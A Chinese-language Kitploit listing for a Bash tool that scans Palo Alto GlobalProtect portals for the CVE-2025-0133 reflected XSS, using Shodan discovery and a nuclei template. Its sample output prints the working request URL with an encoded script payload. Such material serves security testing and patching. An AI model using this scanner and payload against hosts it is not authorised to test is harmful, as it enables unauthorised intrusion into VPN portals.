Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/inteleon404/cve-2025-0133
侦察漏洞扫描器Web漏洞扫描器漏洞利用Web安全渗透测试
GitHubinteleon404/cve-2025-0133

CVE-2025-0133

在 Palo Alto GlobalProtect Gateway 和 Portal 中发现反射型 XSS 漏洞。攻击者可以通过精心构造的请求注入恶意脚本。

查看仓库
10241年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2025-0133 漏洞扫描器

一个基于Bash的自动化扫描工具，用于检测 Palo Alto GlobalProtect 网关和门户 中的 CVE-2025-0133 反射型XSS漏洞，使用 nuclei 和 shodanx。

作者:

日期: 2025-06-23
严重性: 中
CVE ID: CVE-2025-0133
漏洞类型: 反射型跨站脚本 (XSS)
测试对象: Palo Alto Networks GlobalProtect 门户 (PAN-OS)

概述

该工具帮助渗透测试人员和安全研究人员快速识别与CVE-2025-0133问题相关的易受攻击的域名或IP地址。它利用 nuclei 模板和Shodan查询集成 (shodanx) 来高效查找和扫描目标。

功能

  • 自动检测输入是单个域名还是包含多个域名/IP的文本文件
  • 对单个域名运行 shodanx 以收集相关主机
  • 使用 nuclei 和自定义的 CVE-2025-0133 模板扫描目标
  • 在命令行中以清晰的表格格式显示扫描结果
  • 显示扫描开始和结束时间
  • 提示以 .txt 和 .json 格式保存结果
  • 内置帮助和使用说明

要求

  • Linux 环境，具备 Bash shell
  • nuclei 已安装并可在 $PATH 中访问
  • shodanx) 已安装并配置
  • CVE-2025-0133 nuclei 模板文件位于：
    /home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (根据需要更新路径)

📦 所需工具安装

🔹 1. 安装 ShodanX

root@kitploit:~
pip install git+https://github.com/RevoltSecurities/ShodanX

如果出现错误："error: externally-managed-environment"

root@kitploit:~
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages

⚠️ 注意： 在某些系统（特别是Debian/Ubuntu）上，需要使用 --break-system-packages 选项，以允许pip在虚拟环境外安装包而不会出现权限错误。

👉 确保 shodanx 在你的 $PATH 中可用。 可以通过以下命令测试：

root@kitploit:~
shodanx -h

🔹 2. 安装 Nuclei

root@kitploit:~
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

检查是否安装：

root@kitploit:~
nuclei -version

然后更新模板：

root@kitploit:~
nuclei -update-templates

使用方法

root@kitploit:~
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h 
Usage: ./cve20250133.sh <domain-or-file>

Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.

Options:
  -h, --help, help     Show this help message and exit.

示例

扫描单个域名

root@kitploit:~
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51


▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  █▌▟▖▄▌▄▌
                          
-ＩＮＴＥＬＥＯＮ４０４


[✔] Input is a single domain: domain.com — Running ShodanX first
     _                               _      
    | |            |                (_\  /  
 ,  | |     __   __|   __,   _  _      \/   
/ \_|/ \   /  \_/  |  /  |  / |/ |     /\   
 \/ |   |_/\__/ \_/|_/\_/|_/  |  |_/ _/  \_/
                                            
                                            

                     - RevoltSecurities

[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.5

        projectdiscovery.io

[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------

从文件扫描

root@kitploit:~
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt       
Scan Start Time: 2025-06-24 16:36:37


▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  █▌▟▖▄▌▄▌
                          
-ＩＮＴＥＬＥＯＮ４０４


[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.5

        projectdiscovery.io

[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------

CVE-2025-0133 详细信息

Palo Alto GlobalProtect 网关和门户中的反射型跨站脚本 (XSS) 漏洞，允许攻击者通过精心构造的请求注入恶意脚本。 请通过更新到最新的 Palo Alto Networks 版本来修补您的系统，以缓解此问题。

许可协议

本项目采用 MIT 许可协议 - 详情请参阅 LICENSE 文件。

下载工具